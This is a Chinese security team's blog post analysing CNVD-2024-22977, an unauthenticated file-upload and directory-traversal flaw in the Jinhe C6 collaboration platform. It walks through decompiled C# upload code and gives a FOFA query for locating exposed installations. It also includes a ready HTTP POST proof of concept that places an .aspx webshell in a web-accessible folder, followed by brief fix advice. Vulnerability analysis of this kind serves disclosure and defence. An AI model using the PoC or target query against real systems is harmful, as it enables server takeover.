CNVD-2024-22977 金和C6协同管理平台文件上传漏洞

CNVD-2024-22977 金和C6协同管理平台文件上传漏洞

原创 chobits02 C4安全团队 2025-05-13 13:48

WELCOME    

图片

网络安全·诚邀合作

图片

我们
C4安全团队是一支专业
高效

富有经验

团结的信息安全服务团队,由一群经验丰富、技术精湛的安全专家组成,他们在网络安全领域都有各自发光发亮的地方和大量的实战经验。在红蓝攻防、日常渗透测试、CTF比赛中也获取很多优异的成绩,帮助客户解决了很多安全问题,得到了客户的认可。欢迎合作咨询!


febc6a0067018c67c8984bc9156de031_640_wx_fmt=png&from=appmsg&wxfrom=5&tp=webp&wx_lazy=1.webp

扫描二维码

联系合作

原文作者:本团队师傅chobits02

原文链接:https://forum.butian.net/article/710

一、漏洞简介

北京金和网络股份有限公司是一家领先的互联网及移动互联网技术供应商、服务商。

北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。

二、影响版本

金和OA-C6的所有已知版本,在未进行安全修复/安装补丁前均可能受到影响。

三、漏洞分析

在金和C6协同管理平台中,默认会在部署的根目录文件夹的FileUpload文件夹下存在upload.ashx
方法,方便文件上传时调用

image.png

查看下upload.ashx
源码,对应的Class类方法是Fileupload
类下的upload
方法

反编译Fileupload.dll
,查看并找到下面的upload
方法,如下图

image.png

代码如下,此处传参folder
、encrypt
和type
参数,folder
指定保存目录,encrypt
指定文件内容是否加密,type
为类型默认为multi。之后进入保存文件方法SaveFileToServer

public void ProcessRequest(HttpContext context)        {            context.Response.ContentType = "text/plain";            context.Response.Charset = "gb2312";            string strFolder = "Slaves";            if (context.Request["folder"] != null)            {                strFolder = context.Request["folder"].ToString();            }            string encrpyt = "true";            if (context.Request["encrpyt"] != null)            {                encrpyt = context.Request["encrpyt"].ToString();            }            string type = "multi";            if (context.Request["type"] != null)            {                type = context.Request["type"].ToString();            }            if (context.Request.Files.Count == 0 || string.IsNullOrWhiteSpace(context.Request.Files[0].FileName))            {                this.WriteLog(string.Concat(new object[]                {                    "Files.Count:",                    context.Request.Files.Count,                    "$$FileName:",                    context.Request.Files[0].FileName                }), this.logName);            }            else            {                try                {                    this.SaveFileToServer(context, strFolder, encrpyt, type);                }                catch (Exception ex)                {                    context.Response.Write("SaveFileToServer ERROR:" + ex.Message);                    this.WriteLog("SaveFileToServer ERROR:" + ex.Message, this.logName);                }            }

追踪SaveFileToServer
方法,代码如下

image.png

private void SaveFileToServer(HttpContext context, string strFolder, string encrpyt, string type){    if (strFolder == "fceformext")    {        strFolder = "fceformext/res";    }    string text = "../Resource/" + strFolder + "/";    HttpPostedFile httpPostedFile = context.Request.Files[0];    string contentType = httpPostedFile.ContentType;    int contentLength = httpPostedFile.ContentLength;    string text2 = text;    string fileName = Path.GetFileName(httpPostedFile.FileName);    string extension = Path.GetExtension(fileName);    text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2);    bool flag = false;    if (context.Request["ie9"] == null)    {        flag = this.isImage(extension);    }    if (!Directory.Exists(text2))    {        context.Response.Write("ERROR:The uploaded folder could not be found");    }    else    {        text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\";        string text3 = Document.GetFileName("") + extension;        if (encrpyt != "true" || flag)        {            text3 = text3.Replace("__", "");        }        try        {            Stream stream = httpPostedFile.InputStream;            string text4 = Path.Combine(text2, text3);            string arg = "";            if (!File.Exists(text4))            {                if (flag)                {                    ImageThumbnail imageThumbnail = new ImageThumbnail(stream);                    imageThumbnail.ReduceImage(text4, 40);                    imageThumbnail.ResourceImage.Dispose();                }                else                {                    using (FileStream fileStream = new FileStream(text4, FileMode.CreateNew, FileAccess.Write))                    {                        byte[] array = new byte[(int)stream.Length];                        stream.Read(array, 0, array.Length);                        stream.Dispose();                        stream.Close();                        byte[] buffer = array;                        if (encrpyt == "true")                        {                            buffer = this.EncryptByte(array);                        }                        stream = new MemoryStream(buffer);                        int num = 4096;                        long length = stream.Length;                        long num2 = 0L;                        while (num2 < length)                        {                            byte[] array2;                            if (length - num2 >= (long)num)                            {                                array2 = new byte[num];                            }                            else                            {                                array2 = new byte[length - num2];                            }                            stream.Read(array2, 0, array2.Length);                            fileStream.Write(array2, 0, array2.Length);                            num2 += (long)array2.Length;                            if (type == "single")                            {                                long percent = num2 * 100L / length;                                upload.SendPercentToClient(percent);                            }                        }                        stream.Dispose();                        stream.Close();                        fileStream.Dispose();                        fileStream.Close();                    }                }                text2 = JHSoft.Web.CustomQuery.Upload.GetFileRelativeURLbyAbosolutePath(text2);                string text5 = "";                if (!strFolder.ToLower().Contains("fceformext"))                {                    text5 = UploadFile.SaveFile(text2 + text3, fileName, contentType, contentLength);                }                arg = string.Concat(new string[]                {                    text5,                    "|",                    fileName,                    "|",                    text2,                    text3,                    "|",                    new Page().EncryptString(text5)                });            }            context.Response.Write(string.Format("{0}", arg));        }        catch (Exception ex)        {            context.Response.Write("ERROR:" + ex.Message);            this.WriteLog("ERROR:" + ex.Message, this.logName);        }    }}

代码很长,但是关键的代码只要看其中一段

strFolder
为传入的保存目录,此处和../Resource
拼接,未过滤字符串因此存在目录穿越。之后就是取上传文件的各种参数,再判断是否需要encrypt
为true时候加密,保存目录是否存在。最后再是保存文件到指定目录中

string text = "../Resource/" + strFolder + "/";HttpPostedFile httpPostedFile = context.Request.Files[0];string contentType = httpPostedFile.ContentType;int contentLength = httpPostedFile.ContentLength;string text2 = text;string fileName = Path.GetFileName(httpPostedFile.FileName);string extension = Path.GetExtension(fileName);text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2);bool flag = false;if (context.Request["ie9"] == null){    flag = this.isImage(extension);}if (!Directory.Exists(text2)){    context.Response.Write("ERROR:The uploaded folder could not be found");}else{    text2 = text2 + "\\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\\";string text3 = Document.GetFileName("") + extension;

这里构造请求,不指定目录上传文件,可以看到文件被保存到/Resource/
文件夹下面。这是保存资源的文件夹,无法在外部访问到

image.png

指定保存文件夹为能访问到的/C6/
目录下面,继续请求,可以看到是能正常目录穿越保存的

image.png

最后就是访问上传的shell,验证连接shell文件成功(这里借助金和C6系统的未申请访问漏洞,在aspx文件末尾加上/
即可访问)

image.png

四、总结

金和OA C6系统存在未授权的文件上传方法,利用该方法可上传恶意文件,再结合不需要权限验证就能访问文件的历史漏洞,就能组合获取服务器权限。

五、资产测绘

FOFA语法

app="金和网络-金和OA"

image.png

六、漏洞复现

POC如下

POST /C6/Fileupload/Upload.ashx HTTP/1.1Host:Content-Type: multipart/form-data; boundary=---------------------------7d81b916a8ac8-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="folder"\....\....\C6\common\-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="encrpyt"false-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="file"; filename="3212.aspx"Content-Type: text/plain文件内容-----------------------------7d81b916a8ac8--

image.png

七、漏洞修复建议

升级金和OA C6到最新版本,修改用于检查全局的AcquireRequestState
的EndsWith
方法,避免出现未授权访问;并对文件上传后缀进行白名单限制或是禁用upload.ashx
方法。


专栏介绍

Freebuf知识大陆内部共享资料截屏详情如下

(每周保持更新,已更新 170+文档,扫码可免费预览)

图片

知识大陆——安全渗透感知大家族


圈子券后现价 
¥39.9元

(新人优惠券折扣
20
¥,扫码即可领取优惠)

图片

内部圈子——

友反馈,价格优惠,内容优质

图片

图片

团队公开交流群

QQ群和微信群都已建立,方便常用QQ或微信的师傅加入团队公开交流群,交流各类网安、实战方面的问题~

(微信群①群已满200人,需要邀请加开头运营二维码才能加入,②群如下)

图片